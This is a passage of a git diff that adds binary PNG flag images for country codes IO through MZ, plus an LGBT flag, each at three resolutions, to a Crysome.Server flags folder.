0000000..d7f27f2 Binary files /dev/null and b/Crysome.Server/flags/IO.png differ diff --git a/Crysome.Server/flags/IO@2x.png b/Crysome.Server/flags/IO@2x.png new file mode 100644 index 0000000..6ad3450 Binary files /dev/null and b/Crysome.Server/flags/IO@2x.png differ diff --git a/Crysome.Server/flags/IO@3x.png b/Crysome.Server/flags/IO@3x.png new file mode 100644 index 0000000..ea0438b Binary files /dev/null and b/Crysome.Server/flags/IO@3x.png differ diff --git a/Crysome.Server/flags/IQ.png b/Crysome.Server/flags/IQ.png new file mode 100644 index 0000000..62a4194 Binary files /dev/null and b/Crysome.Server/flags/IQ.png differ diff --git a/Crysome.Server/flags/IQ@2x.png b/Crysome.Server/flags/IQ@2x.png new file mode 100644 index 0000000..90579a4 Binary files /dev/null and b/Crysome.Server/flags/IQ@2x.png differ diff --git a/Crysome.Server/flags/IQ@3x.png b/Crysome.Server/flags/IQ@3x.png new file mode 100644 index 0000000..17816d7 Binary files /dev/null and b/Crysome.Server/flags/IQ@3x.png differ diff --git a/Crysome.Server/flags/IR.png b/Crysome.Server/flags/IR.png new file mode 100644 index 0000000..de31999 Binary files /dev/null and b/Crysome.Server/flags/IR.png differ diff --git a/Crysome.Server/flags/IR@2x.png b/Crysome.Server/flags/IR@2x.png new file mode 100644 index 0000000..525155e Binary files /dev/null and b/Crysome.Server/flags/IR@2x.png differ diff --git a/Crysome.Server/flags/IR@3x.png b/Crysome.Server/flags/IR@3x.png new file mode 100644 index 0000000..32af014 Binary files /dev/null and b/Crysome.Server/flags/IR@3x.png differ diff --git a/Crysome.Server/flags/IS.png b/Crysome.Server/flags/IS.png new file mode 100644 index 0000000..8af7dd4 Binary files /dev/null and b/Crysome.Server/flags/IS.png differ diff --git a/Crysome.Server/flags/IS@2x.png b/Crysome.Server/flags/IS@2x.png new file mode 100644 index 0000000..ac3c0a2 Binary files /dev/null and b/Crysome.Server/flags/IS@2x.png differ diff --git a/Crysome.Server/flags/IS@3x.png b/Crysome.Server/flags/IS@3x.png new file mode 100644 index 0000000..db11e76 Binary files /dev/null and b/Crysome.Server/flags/IS@3x.png differ diff --git a/Crysome.Server/flags/IT.png b/Crysome.Server/flags/IT.png new file mode 100644 index 0000000..858a930 Binary files /dev/null and b/Crysome.Server/flags/IT.png differ diff --git a/Crysome.Server/flags/IT@2x.png b/Crysome.Server/flags/IT@2x.png new file mode 100644 index 0000000..b7af51b Binary files /dev/null and b/Crysome.Server/flags/IT@2x.png differ diff --git a/Crysome.Server/flags/IT@3x.png b/Crysome.Server/flags/IT@3x.png new file mode 100644 index 0000000..e2b0fa7 Binary files /dev/null and b/Crysome.Server/flags/IT@3x.png differ diff --git a/Crysome.Server/flags/JE.png b/Crysome.Server/flags/JE.png new file mode 100644 index 0000000..b526d51 Binary files /dev/null and b/Crysome.Server/flags/JE.png differ diff --git a/Crysome.Server/flags/JE@2x.png b/Crysome.Server/flags/JE@2x.png new file mode 100644 index 0000000..5ccf833 Binary files /dev/null and b/Crysome.Server/flags/JE@2x.png differ diff --git a/Crysome.Server/flags/JE@3x.png b/Crysome.Server/flags/JE@3x.png new file mode 100644 index 0000000..fe3f21a Binary files /dev/null and b/Crysome.Server/flags/JE@3x.png differ diff --git a/Crysome.Server/flags/JM.png b/Crysome.Server/flags/JM.png new file mode 100644 index 0000000..b14240e Binary files /dev/null and b/Crysome.Server/flags/JM.png differ diff --git a/Crysome.Server/flags/JM@2x.png b/Crysome.Server/flags/JM@2x.png new file mode 100644 index 0000000..21b3d3c Binary files /dev/null and b/Crysome.Server/flags/JM@2x.png differ diff --git a/Crysome.Server/flags/JM@3x.png b/Crysome.Server/flags/JM@3x.png new file mode 100644 index 0000000..194d1a2 Binary files /dev/null and b/Crysome.Server/flags/JM@3x.png differ diff --git a/Crysome.Server/flags/JO.png b/Crysome.Server/flags/JO.png new file mode 100644 index 0000000..ea4cb44 Binary files /dev/null and b/Crysome.Server/flags/JO.png differ diff --git a/Crysome.Server/flags/JO@2x.png b/Crysome.Server/flags/JO@2x.png new file mode 100644 index 0000000..fee29a9 Binary files /dev/null and b/Crysome.Server/flags/JO@2x.png differ diff --git a/Crysome.Server/flags/JO@3x.png b/Crysome.Server/flags/JO@3x.png new file mode 100644 index 0000000..f4e204e Binary files /dev/null and b/Crysome.Server/flags/JO@3x.png differ diff --git a/Crysome.Server/flags/JP.png b/Crysome.Server/flags/JP.png new file mode 100644 index 0000000..101dadf Binary files /dev/null and b/Crysome.Server/flags/JP.png differ diff --git a/Crysome.Server/flags/JP@2x.png b/Crysome.Server/flags/JP@2x.png new file mode 100644 index 0000000..69d1919 Binary files /dev/null and b/Crysome.Server/flags/JP@2x.png differ diff --git a/Crysome.Server/flags/JP@3x.png b/Crysome.Server/flags/JP@3x.png new file mode 100644 index 0000000..2fead21 Binary files /dev/null and b/Crysome.Server/flags/JP@3x.png differ diff --git a/Crysome.Server/flags/KE.png b/Crysome.Server/flags/KE.png new file mode 100644 index 0000000..f72f5e9 Binary files /dev/null and b/Crysome.Server/flags/KE.png differ diff --git a/Crysome.Server/flags/KE@2x.png b/Crysome.Server/flags/KE@2x.png new file mode 100644 index 0000000..ab6973f Binary files /dev/null and b/Crysome.Server/flags/KE@2x.png differ diff --git a/Crysome.Server/flags/KE@3x.png b/Crysome.Server/flags/KE@3x.png new file mode 100644 index 0000000..b7a8835 Binary files /dev/null and b/Crysome.Server/flags/KE@3x.png differ diff --git a/Crysome.Server/flags/KG.png b/Crysome.Server/flags/KG.png new file mode 100644 index 0000000..40bfb08 Binary files /dev/null and b/Crysome.Server/flags/KG.png differ diff --git a/Crysome.Server/flags/KG@2x.png b/Crysome.Server/flags/KG@2x.png new file mode 100644 index 0000000..e52cc0a Binary files /dev/null and b/Crysome.Server/flags/KG@2x.png differ diff --git a/Crysome.Server/flags/KG@3x.png b/Crysome.Server/flags/KG@3x.png new file mode 100644 index 0000000..3a5c796 Binary files /dev/null and b/Crysome.Server/flags/KG@3x.png differ diff --git a/Crysome.Server/flags/KH.png b/Crysome.Server/flags/KH.png new file mode 100644 index 0000000..4f983e1 Binary files /dev/null and b/Crysome.Server/flags/KH.png differ diff --git a/Crysome.Server/flags/KH@2x.png b/Crysome.Server/flags/KH@2x.png new file mode 100644 index 0000000..e3caafc Binary files /dev/null and b/Crysome.Server/flags/KH@2x.png differ diff --git a/Crysome.Server/flags/KH@3x.png b/Crysome.Server/flags/KH@3x.png new file mode 100644 index 0000000..9f5a45e Binary files /dev/null and b/Crysome.Server/flags/KH@3x.png differ diff --git a/Crysome.Server/flags/KI.png b/Crysome.Server/flags/KI.png new file mode 100644 index 0000000..67a07b5 Binary files /dev/null and b/Crysome.Server/flags/KI.png differ diff --git a/Crysome.Server/flags/KI@2x.png b/Crysome.Server/flags/KI@2x.png new file mode 100644 index 0000000..332af92 Binary files /dev/null and b/Crysome.Server/flags/KI@2x.png differ diff --git a/Crysome.Server/flags/KI@3x.png b/Crysome.Server/flags/KI@3x.png new file mode 100644 index 0000000..346d121 Binary files /dev/null and b/Crysome.Server/flags/KI@3x.png differ diff --git a/Crysome.Server/flags/KM.png b/Crysome.Server/flags/KM.png new file mode 100644 index 0000000..d2cb1ff Binary files /dev/null and b/Crysome.Server/flags/KM.png differ diff --git a/Crysome.Server/flags/KM@2x.png b/Crysome.Server/flags/KM@2x.png new file mode 100644 index 0000000..c32c2f7 Binary files /dev/null and b/Crysome.Server/flags/KM@2x.png differ diff --git a/Crysome.Server/flags/KM@3x.png b/Crysome.Server/flags/KM@3x.png new file mode 100644 index 0000000..393af20 Binary files /dev/null and b/Crysome.Server/flags/KM@3x.png differ diff --git a/Crysome.Server/flags/KN.png b/Crysome.Server/flags/KN.png new file mode 100644 index 0000000..af80273 Binary files /dev/null and b/Crysome.Server/flags/KN.png differ diff --git a/Crysome.Server/flags/KN@2x.png b/Crysome.Server/flags/KN@2x.png new file mode 100644 index 0000000..5486eb5 Binary files /dev/null and b/Crysome.Server/flags/KN@2x.png differ diff --git a/Crysome.Server/flags/KN@3x.png b/Crysome.Server/flags/KN@3x.png new file mode 100644 index 0000000..08f73f4 Binary files /dev/null and b/Crysome.Server/flags/KN@3x.png differ diff --git a/Crysome.Server/flags/KP.png b/Crysome.Server/flags/KP.png new file mode 100644 index 0000000..bc68596 Binary files /dev/null and b/Crysome.Server/flags/KP.png differ diff --git a/Crysome.Server/flags/KP@2x.png b/Crysome.Server/flags/KP@2x.png new file mode 100644 index 0000000..ab92a80 Binary files /dev/null and b/Crysome.Server/flags/KP@2x.png differ diff --git a/Crysome.Server/flags/KP@3x.png b/Crysome.Server/flags/KP@3x.png new file mode 100644 index 0000000..8b7ec2c Binary files /dev/null and b/Crysome.Server/flags/KP@3x.png differ diff --git a/Crysome.Server/flags/KR.png b/Crysome.Server/flags/KR.png new file mode 100644 index 0000000..8481f22 Binary files /dev/null and b/Crysome.Server/flags/KR.png differ diff --git a/Crysome.Server/flags/KR@2x.png b/Crysome.Server/flags/KR@2x.png new file mode 100644 index 0000000..ceb912e Binary files /dev/null and b/Crysome.Server/flags/KR@2x.png differ diff --git a/Crysome.Server/flags/KR@3x.png b/Crysome.Server/flags/KR@3x.png new file mode 100644 index 0000000..970a274 Binary files /dev/null and b/Crysome.Server/flags/KR@3x.png differ diff --git a/Crysome.Server/flags/KW.png b/Crysome.Server/flags/KW.png new file mode 100644 index 0000000..11395d2 Binary files /dev/null and b/Crysome.Server/flags/KW.png differ diff --git a/Crysome.Server/flags/KW@2x.png b/Crysome.Server/flags/KW@2x.png new file mode 100644 index 0000000..b326d9d Binary files /dev/null and b/Crysome.Server/flags/KW@2x.png differ diff --git a/Crysome.Server/flags/KW@3x.png b/Crysome.Server/flags/KW@3x.png new file mode 100644 index 0000000..64c2345 Binary files /dev/null and b/Crysome.Server/flags/KW@3x.png differ diff --git a/Crysome.Server/flags/KY.png b/Crysome.Server/flags/KY.png new file mode 100644 index 0000000..e83cbad Binary files /dev/null and b/Crysome.Server/flags/KY.png differ diff --git a/Crysome.Server/flags/KY@2x.png b/Crysome.Server/flags/KY@2x.png new file mode 100644 index 0000000..cd1dd65 Binary files /dev/null and b/Crysome.Server/flags/KY@2x.png differ diff --git a/Crysome.Server/flags/KY@3x.png b/Crysome.Server/flags/KY@3x.png new file mode 100644 index 0000000..5f8d16b Binary files /dev/null and b/Crysome.Server/flags/KY@3x.png differ diff --git a/Crysome.Server/flags/KZ.png b/Crysome.Server/flags/KZ.png new file mode 100644 index 0000000..5355400 Binary files /dev/null and b/Crysome.Server/flags/KZ.png differ diff --git a/Crysome.Server/flags/KZ@2x.png b/Crysome.Server/flags/KZ@2x.png new file mode 100644 index 0000000..fc0c982 Binary files /dev/null and b/Crysome.Server/flags/KZ@2x.png differ diff --git a/Crysome.Server/flags/KZ@3x.png b/Crysome.Server/flags/KZ@3x.png new file mode 100644 index 0000000..5cb090d Binary files /dev/null and b/Crysome.Server/flags/KZ@3x.png differ diff --git a/Crysome.Server/flags/LA.png b/Crysome.Server/flags/LA.png new file mode 100644 index 0000000..ff3c3fa Binary files /dev/null and b/Crysome.Server/flags/LA.png differ diff --git a/Crysome.Server/flags/LA@2x.png b/Crysome.Server/flags/LA@2x.png new file mode 100644 index 0000000..ef3f267 Binary files /dev/null and b/Crysome.Server/flags/LA@2x.png differ diff --git a/Crysome.Server/flags/LA@3x.png b/Crysome.Server/flags/LA@3x.png new file mode 100644 index 0000000..0b9ec9e Binary files /dev/null and b/Crysome.Server/flags/LA@3x.png differ diff --git a/Crysome.Server/flags/LB.png b/Crysome.Server/flags/LB.png new file mode 100644 index 0000000..397871d Binary files /dev/null and b/Crysome.Server/flags/LB.png differ diff --git a/Crysome.Server/flags/LB@2x.png b/Crysome.Server/flags/LB@2x.png new file mode 100644 index 0000000..9a3bd70 Binary files /dev/null and b/Crysome.Server/flags/LB@2x.png differ diff --git a/Crysome.Server/flags/LB@3x.png b/Crysome.Server/flags/LB@3x.png new file mode 100644 index 0000000..753d42b Binary files /dev/null and b/Crysome.Server/flags/LB@3x.png differ diff --git a/Crysome.Server/flags/LC.png b/Crysome.Server/flags/LC.png new file mode 100644 index 0000000..6d95aa0 Binary files /dev/null and b/Crysome.Server/flags/LC.png differ diff --git a/Crysome.Server/flags/LC@2x.png b/Crysome.Server/flags/LC@2x.png new file mode 100644 index 0000000..d0bde39 Binary files /dev/null and b/Crysome.Server/flags/LC@2x.png differ diff --git a/Crysome.Server/flags/LC@3x.png b/Crysome.Server/flags/LC@3x.png new file mode 100644 index 0000000..27793ef Binary files /dev/null and b/Crysome.Server/flags/LC@3x.png differ diff --git a/Crysome.Server/flags/LGBT.png b/Crysome.Server/flags/LGBT.png new file mode 100644 index 0000000..4f992ce Binary files /dev/null and b/Crysome.Server/flags/LGBT.png differ diff --git a/Crysome.Server/flags/LGBT@2x.png b/Crysome.Server/flags/LGBT@2x.png new file mode 100644 index 0000000..22f3df4 Binary files /dev/null and b/Crysome.Server/flags/LGBT@2x.png differ diff --git a/Crysome.Server/flags/LGBT@3x.png b/Crysome.Server/flags/LGBT@3x.png new file mode 100644 index 0000000..af08f6e Binary files /dev/null and b/Crysome.Server/flags/LGBT@3x.png differ diff --git a/Crysome.Server/flags/LI.png b/Crysome.Server/flags/LI.png new file mode 100644 index 0000000..0af3a81 Binary files /dev/null and b/Crysome.Server/flags/LI.png differ diff --git a/Crysome.Server/flags/LI@2x.png b/Crysome.Server/flags/LI@2x.png new file mode 100644 index 0000000..b164173 Binary files /dev/null and b/Crysome.Server/flags/LI@2x.png differ diff --git a/Crysome.Server/flags/LI@3x.png b/Crysome.Server/flags/LI@3x.png new file mode 100644 index 0000000..5b45c42 Binary files /dev/null and b/Crysome.Server/flags/LI@3x.png differ diff --git a/Crysome.Server/flags/LK.png b/Crysome.Server/flags/LK.png new file mode 100644 index 0000000..d4b9c04 Binary files /dev/null and b/Crysome.Server/flags/LK.png differ diff --git a/Crysome.Server/flags/LK@2x.png b/Crysome.Server/flags/LK@2x.png new file mode 100644 index 0000000..a77575a Binary files /dev/null and b/Crysome.Server/flags/LK@2x.png differ diff --git a/Crysome.Server/flags/LK@3x.png b/Crysome.Server/flags/LK@3x.png new file mode 100644 index 0000000..f56d275 Binary files /dev/null and b/Crysome.Server/flags/LK@3x.png differ diff --git a/Crysome.Server/flags/LR.png b/Crysome.Server/flags/LR.png new file mode 100644 index 0000000..d7d301f Binary files /dev/null and b/Crysome.Server/flags/LR.png differ diff --git a/Crysome.Server/flags/LR@2x.png b/Crysome.Server/flags/LR@2x.png new file mode 100644 index 0000000..91beaff Binary files /dev/null and b/Crysome.Server/flags/LR@2x.png differ diff --git a/Crysome.Server/flags/LR@3x.png b/Crysome.Server/flags/LR@3x.png new file mode 100644 index 0000000..42c5eec Binary files /dev/null and b/Crysome.Server/flags/LR@3x.png differ diff --git a/Crysome.Server/flags/LS.png b/Crysome.Server/flags/LS.png new file mode 100644 index 0000000..520b066 Binary files /dev/null and b/Crysome.Server/flags/LS.png differ diff --git a/Crysome.Server/flags/LS@2x.png b/Crysome.Server/flags/LS@2x.png new file mode 100644 index 0000000..dbda128 Binary files /dev/null and b/Crysome.Server/flags/LS@2x.png differ diff --git a/Crysome.Server/flags/LS@3x.png b/Crysome.Server/flags/LS@3x.png new file mode 100644 index 0000000..3a00840 Binary files /dev/null and b/Crysome.Server/flags/LS@3x.png differ diff --git a/Crysome.Server/flags/LT.png b/Crysome.Server/flags/LT.png new file mode 100644 index 0000000..72c4592 Binary files /dev/null and b/Crysome.Server/flags/LT.png differ diff --git a/Crysome.Server/flags/LT@2x.png b/Crysome.Server/flags/LT@2x.png new file mode 100644 index 0000000..d8713f7 Binary files /dev/null and b/Crysome.Server/flags/LT@2x.png differ diff --git a/Crysome.Server/flags/LT@3x.png b/Crysome.Server/flags/LT@3x.png new file mode 100644 index 0000000..ad39bc9 Binary files /dev/null and b/Crysome.Server/flags/LT@3x.png differ diff --git a/Crysome.Server/flags/LU.png b/Crysome.Server/flags/LU.png new file mode 100644 index 0000000..e0e7d6c Binary files /dev/null and b/Crysome.Server/flags/LU.png differ diff --git a/Crysome.Server/flags/LU@2x.png b/Crysome.Server/flags/LU@2x.png new file mode 100644 index 0000000..b8e7a67 Binary files /dev/null and b/Crysome.Server/flags/LU@2x.png differ diff --git a/Crysome.Server/flags/LU@3x.png b/Crysome.Server/flags/LU@3x.png new file mode 100644 index 0000000..229c02f Binary files /dev/null and b/Crysome.Server/flags/LU@3x.png differ diff --git a/Crysome.Server/flags/LV.png b/Crysome.Server/flags/LV.png new file mode 100644 index 0000000..dcac72c Binary files /dev/null and b/Crysome.Server/flags/LV.png differ diff --git a/Crysome.Server/flags/LV@2x.png b/Crysome.Server/flags/LV@2x.png new file mode 100644 index 0000000..f14cf7f Binary files /dev/null and b/Crysome.Server/flags/LV@2x.png differ diff --git a/Crysome.Server/flags/LV@3x.png b/Crysome.Server/flags/LV@3x.png new file mode 100644 index 0000000..4f777ab Binary files /dev/null and b/Crysome.Server/flags/LV@3x.png differ diff --git a/Crysome.Server/flags/LY.png b/Crysome.Server/flags/LY.png new file mode 100644 index 0000000..4714c5b Binary files /dev/null and b/Crysome.Server/flags/LY.png differ diff --git a/Crysome.Server/flags/LY@2x.png b/Crysome.Server/flags/LY@2x.png new file mode 100644 index 0000000..8ef0c10 Binary files /dev/null and b/Crysome.Server/flags/LY@2x.png differ diff --git a/Crysome.Server/flags/LY@3x.png b/Crysome.Server/flags/LY@3x.png new file mode 100644 index 0000000..8fc4abe Binary files /dev/null and b/Crysome.Server/flags/LY@3x.png differ diff --git a/Crysome.Server/flags/MA.png b/Crysome.Server/flags/MA.png new file mode 100644 index 0000000..400f416 Binary files /dev/null and b/Crysome.Server/flags/MA.png differ diff --git a/Crysome.Server/flags/MA@2x.png b/Crysome.Server/flags/MA@2x.png new file mode 100644 index 0000000..04cefc8 Binary files /dev/null and b/Crysome.Server/flags/MA@2x.png differ diff --git a/Crysome.Server/flags/MA@3x.png b/Crysome.Server/flags/MA@3x.png new file mode 100644 index 0000000..db46c2b Binary files /dev/null and b/Crysome.Server/flags/MA@3x.png differ diff --git a/Crysome.Server/flags/MC.png b/Crysome.Server/flags/MC.png new file mode 100644 index 0000000..ee1490e Binary files /dev/null and b/Crysome.Server/flags/MC.png differ diff --git a/Crysome.Server/flags/MC@2x.png b/Crysome.Server/flags/MC@2x.png new file mode 100644 index 0000000..5701408 Binary files /dev/null and b/Crysome.Server/flags/MC@2x.png differ diff --git a/Crysome.Server/flags/MC@3x.png b/Crysome.Server/flags/MC@3x.png new file mode 100644 index 0000000..5f2e7f0 Binary files /dev/null and b/Crysome.Server/flags/MC@3x.png differ diff --git a/Crysome.Server/flags/MD.png b/Crysome.Server/flags/MD.png new file mode 100644 index 0000000..183970e Binary files /dev/null and b/Crysome.Server/flags/MD.png differ diff --git a/Crysome.Server/flags/MD@2x.png b/Crysome.Server/flags/MD@2x.png new file mode 100644 index 0000000..ff90115 Binary files /dev/null and b/Crysome.Server/flags/MD@2x.png differ diff --git a/Crysome.Server/flags/MD@3x.png b/Crysome.Server/flags/MD@3x.png new file mode 100644 index 0000000..914b945 Binary files /dev/null and b/Crysome.Server/flags/MD@3x.png differ diff --git a/Crysome.Server/flags/ME.png b/Crysome.Server/flags/ME.png new file mode 100644 index 0000000..197c076 Binary files /dev/null and b/Crysome.Server/flags/ME.png differ diff --git a/Crysome.Server/flags/ME@2x.png b/Crysome.Server/flags/ME@2x.png new file mode 100644 index 0000000..0377285 Binary files /dev/null and b/Crysome.Server/flags/ME@2x.png differ diff --git a/Crysome.Server/flags/ME@3x.png b/Crysome.Server/flags/ME@3x.png new file mode 100644 index 0000000..d8bdbc6 Binary files /dev/null and b/Crysome.Server/flags/ME@3x.png differ diff --git a/Crysome.Server/flags/MF.png b/Crysome.Server/flags/MF.png new file mode 100644 index 0000000..2fd4c6a Binary files /dev/null and b/Crysome.Server/flags/MF.png differ diff --git a/Crysome.Server/flags/MF@2x.png b/Crysome.Server/flags/MF@2x.png new file mode 100644 index 0000000..720839f Binary files /dev/null and b/Crysome.Server/flags/MF@2x.png differ diff --git a/Crysome.Server/flags/MF@3x.png b/Crysome.Server/flags/MF@3x.png new file mode 100644 index 0000000..1de1b75 Binary files /dev/null and b/Crysome.Server/flags/MF@3x.png differ diff --git a/Crysome.Server/flags/MG.png b/Crysome.Server/flags/MG.png new file mode 100644 index 0000000..3fe26ac Binary files /dev/null and b/Crysome.Server/flags/MG.png differ diff --git a/Crysome.Server/flags/MG@2x.png b/Crysome.Server/flags/MG@2x.png new file mode 100644 index 0000000..bf159db Binary files /dev/null and b/Crysome.Server/flags/MG@2x.png differ diff --git a/Crysome.Server/flags/MG@3x.png b/Crysome.Server/flags/MG@3x.png new file mode 100644 index 0000000..3cd1d4d Binary files /dev/null and b/Crysome.Server/flags/MG@3x.png differ diff --git a/Crysome.Server/flags/MH.png b/Crysome.Server/flags/MH.png new file mode 100644 index 0000000..f45c5bf Binary files /dev/null and b/Crysome.Server/flags/MH.png differ diff --git a/Crysome.Server/flags/MH@2x.png b/Crysome.Server/flags/MH@2x.png new file mode 100644 index 0000000..6480629 Binary files /dev/null and b/Crysome.Server/flags/MH@2x.png differ diff --git a/Crysome.Server/flags/MH@3x.png b/Crysome.Server/flags/MH@3x.png new file mode 100644 index 0000000..4cf22e4 Binary files /dev/null and b/Crysome.Server/flags/MH@3x.png differ diff --git a/Crysome.Server/flags/MK.png b/Crysome.Server/flags/MK.png new file mode 100644 index 0000000..ee4ede2 Binary files /dev/null and b/Crysome.Server/flags/MK.png differ diff --git a/Crysome.Server/flags/MK@2x.png b/Crysome.Server/flags/MK@2x.png new file mode 100644 index 0000000..8dcf1a3 Binary files /dev/null and b/Crysome.Server/flags/MK@2x.png differ diff --git a/Crysome.Server/flags/MK@3x.png b/Crysome.Server/flags/MK@3x.png new file mode 100644 index 0000000..a262925 Binary files /dev/null and b/Crysome.Server/flags/MK@3x.png differ diff --git a/Crysome.Server/flags/ML.png b/Crysome.Server/flags/ML.png new file mode 100644 index 0000000..6f98cba Binary files /dev/null and b/Crysome.Server/flags/ML.png differ diff --git a/Crysome.Server/flags/ML@2x.png b/Crysome.Server/flags/ML@2x.png new file mode 100644 index 0000000..7735930 Binary files /dev/null and b/Crysome.Server/flags/ML@2x.png differ diff --git a/Crysome.Server/flags/ML@3x.png b/Crysome.Server/flags/ML@3x.png new file mode 100644 index 0000000..391a36b Binary files /dev/null and b/Crysome.Server/flags/ML@3x.png differ diff --git a/Crysome.Server/flags/MM.png b/Crysome.Server/flags/MM.png new file mode 100644 index 0000000..ce1d8e8 Binary files /dev/null and b/Crysome.Server/flags/MM.png differ diff --git a/Crysome.Server/flags/MM@2x.png b/Crysome.Server/flags/MM@2x.png new file mode 100644 index 0000000..64eb2a1 Binary files /dev/null and b/Crysome.Server/flags/MM@2x.png differ diff --git a/Crysome.Server/flags/MM@3x.png b/Crysome.Server/flags/MM@3x.png new file mode 100644 index 0000000..50c298d Binary files /dev/null and b/Crysome.Server/flags/MM@3x.png differ diff --git a/Crysome.Server/flags/MN.png b/Crysome.Server/flags/MN.png new file mode 100644 index 0000000..f1bcf24 Binary files /dev/null and b/Crysome.Server/flags/MN.png differ diff --git a/Crysome.Server/flags/MN@2x.png b/Crysome.Server/flags/MN@2x.png new file mode 100644 index 0000000..8c1eb48 Binary files /dev/null and b/Crysome.Server/flags/MN@2x.png differ diff --git a/Crysome.Server/flags/MN@3x.png b/Crysome.Server/flags/MN@3x.png new file mode 100644 index 0000000..662cb5a Binary files /dev/null and b/Crysome.Server/flags/MN@3x.png differ diff --git a/Crysome.Server/flags/MO.png b/Crysome.Server/flags/MO.png new file mode 100644 index 0000000..413babd Binary files /dev/null and b/Crysome.Server/flags/MO.png differ diff --git a/Crysome.Server/flags/MO@2x.png b/Crysome.Server/flags/MO@2x.png new file mode 100644 index 0000000..f838c4b Binary files /dev/null and b/Crysome.Server/flags/MO@2x.png differ diff --git a/Crysome.Server/flags/MO@3x.png b/Crysome.Server/flags/MO@3x.png new file mode 100644 index 0000000..560f633 Binary files /dev/null and b/Crysome.Server/flags/MO@3x.png differ diff --git a/Crysome.Server/flags/MP.png b/Crysome.Server/flags/MP.png new file mode 100644 index 0000000..b040fb0 Binary files /dev/null and b/Crysome.Server/flags/MP.png differ diff --git a/Crysome.Server/flags/MP@2x.png b/Crysome.Server/flags/MP@2x.png new file mode 100644 index 0000000..190ee1b Binary files /dev/null and b/Crysome.Server/flags/MP@2x.png differ diff --git a/Crysome.Server/flags/MP@3x.png b/Crysome.Server/flags/MP@3x.png new file mode 100644 index 0000000..706bb27 Binary files /dev/null and b/Crysome.Server/flags/MP@3x.png differ diff --git a/Crysome.Server/flags/MQ.png b/Crysome.Server/flags/MQ.png new file mode 100644 index 0000000..03c1cd6 Binary files /dev/null and b/Crysome.Server/flags/MQ.png differ diff --git a/Crysome.Server/flags/MQ@2x.png b/Crysome.Server/flags/MQ@2x.png new file mode 100644 index 0000000..2ee86f5 Binary files /dev/null and b/Crysome.Server/flags/MQ@2x.png differ diff --git a/Crysome.Server/flags/MQ@3x.png b/Crysome.Server/flags/MQ@3x.png new file mode 100644 index 0000000..2803754 Binary files /dev/null and b/Crysome.Server/flags/MQ@3x.png differ diff --git a/Crysome.Server/flags/MR.png b/Crysome.Server/flags/MR.png new file mode 100644 index 0000000..4962757 Binary files /dev/null and b/Crysome.Server/flags/MR.png differ diff --git a/Crysome.Server/flags/MR@2x.png b/Crysome.Server/flags/MR@2x.png new file mode 100644 index 0000000..d614d83 Binary files /dev/null and b/Crysome.Server/flags/MR@2x.png differ diff --git a/Crysome.Server/flags/MR@3x.png b/Crysome.Server/flags/MR@3x.png new file mode 100644 index 0000000..958fb45 Binary files /dev/null and b/Crysome.Server/flags/MR@3x.png differ diff --git a/Crysome.Server/flags/MS.png b/Crysome.Server/flags/MS.png new file mode 100644 index 0000000..2405af5 Binary files /dev/null and b/Crysome.Server/flags/MS.png differ diff --git a/Crysome.Server/flags/MS@2x.png b/Crysome.Server/flags/MS@2x.png new file mode 100644 index 0000000..29f4629 Binary files /dev/null and b/Crysome.Server/flags/MS@2x.png differ diff --git a/Crysome.Server/flags/MS@3x.png b/Crysome.Server/flags/MS@3x.png new file mode 100644 index 0000000..f4441ff Binary files /dev/null and b/Crysome.Server/flags/MS@3x.png differ diff --git a/Crysome.Server/flags/MT.png b/Crysome.Server/flags/MT.png new file mode 100644 index 0000000..6585240 Binary files /dev/null and b/Crysome.Server/flags/MT.png differ diff --git a/Crysome.Server/flags/MT@2x.png b/Crysome.Server/flags/MT@2x.png new file mode 100644 index 0000000..8be8937 Binary files /dev/null and b/Crysome.Server/flags/MT@2x.png differ diff --git a/Crysome.Server/flags/MT@3x.png b/Crysome.Server/flags/MT@3x.png new file mode 100644 index 0000000..53b3cc9 Binary files /dev/null and b/Crysome.Server/flags/MT@3x.png differ diff --git a/Crysome.Server/flags/MU.png b/Crysome.Server/flags/MU.png new file mode 100644 index 0000000..9e2423b Binary files /dev/null and b/Crysome.Server/flags/MU.png differ diff --git a/Crysome.Server/flags/MU@2x.png b/Crysome.Server/flags/MU@2x.png new file mode 100644 index 0000000..d8d45c0 Binary files /dev/null and b/Crysome.Server/flags/MU@2x.png differ diff --git a/Crysome.Server/flags/MU@3x.png b/Crysome.Server/flags/MU@3x.png new file mode 100644 index 0000000..428b414 Binary files /dev/null and b/Crysome.Server/flags/MU@3x.png differ diff --git a/Crysome.Server/flags/MV.png b/Crysome.Server/flags/MV.png new file mode 100644 index 0000000..3aef49b Binary files /dev/null and b/Crysome.Server/flags/MV.png differ diff --git a/Crysome.Server/flags/MV@2x.png b/Crysome.Server/flags/MV@2x.png new file mode 100644 index 0000000..4b8b7ad Binary files /dev/null and b/Crysome.Server/flags/MV@2x.png differ diff --git a/Crysome.Server/flags/MV@3x.png b/Crysome.Server/flags/MV@3x.png new file mode 100644 index 0000000..9dcc176 Binary files /dev/null and b/Crysome.Server/flags/MV@3x.png differ diff --git a/Crysome.Server/flags/MW.png b/Crysome.Server/flags/MW.png new file mode 100644 index 0000000..3aade59 Binary files /dev/null and b/Crysome.Server/flags/MW.png differ diff --git a/Crysome.Server/flags/MW@2x.png b/Crysome.Server/flags/MW@2x.png new file mode 100644 index 0000000..87edc72 Binary files /dev/null and b/Crysome.Server/flags/MW@2x.png differ diff --git a/Crysome.Server/flags/MW@3x.png b/Crysome.Server/flags/MW@3x.png new file mode 100644 index 0000000..48fe4c9 Binary files /dev/null and b/Crysome.Server/flags/MW@3x.png differ diff --git a/Crysome.Server/flags/MX.png b/Crysome.Server/flags/MX.png new file mode 100644 index 0000000..463e7dd Binary files /dev/null and b/Crysome.Server/flags/MX.png differ diff --git a/Crysome.Server/flags/MX@2x.png b/Crysome.Server/flags/MX@2x.png new file mode 100644 index 0000000..3a73711 Binary files /dev/null and b/Crysome.Server/flags/MX@2x.png differ diff --git a/Crysome.Server/flags/MX@3x.png b/Crysome.Server/flags/MX@3x.png new file mode 100644 index 0000000..cda5905 Binary files /dev/null and b/Crysome.Server/flags/MX@3x.png differ diff --git a/Crysome.Server/flags/MY.png b/Crysome.Server/flags/MY.png new file mode 100644 index 0000000..a173eac Binary files /dev/null and b/Crysome.Server/flags/MY.png differ diff --git a/Crysome.Server/flags/MY@2x.png b/Crysome.Server/flags/MY@2x.png new file mode 100644 index 0000000..d81d280 Binary files /dev/null and b/Crysome.Server/flags/MY@2x.png differ diff --git a/Crysome.Server/flags/MY@3x.png b/Crysome.Server/flags/MY@3x.png new file mode 100644 index 0000000..6f1f522 Binary files /dev/null and b/Crysome.Server/flags/MY@3x.png differ diff --git a/Crysome.Server/flags/MZ.png 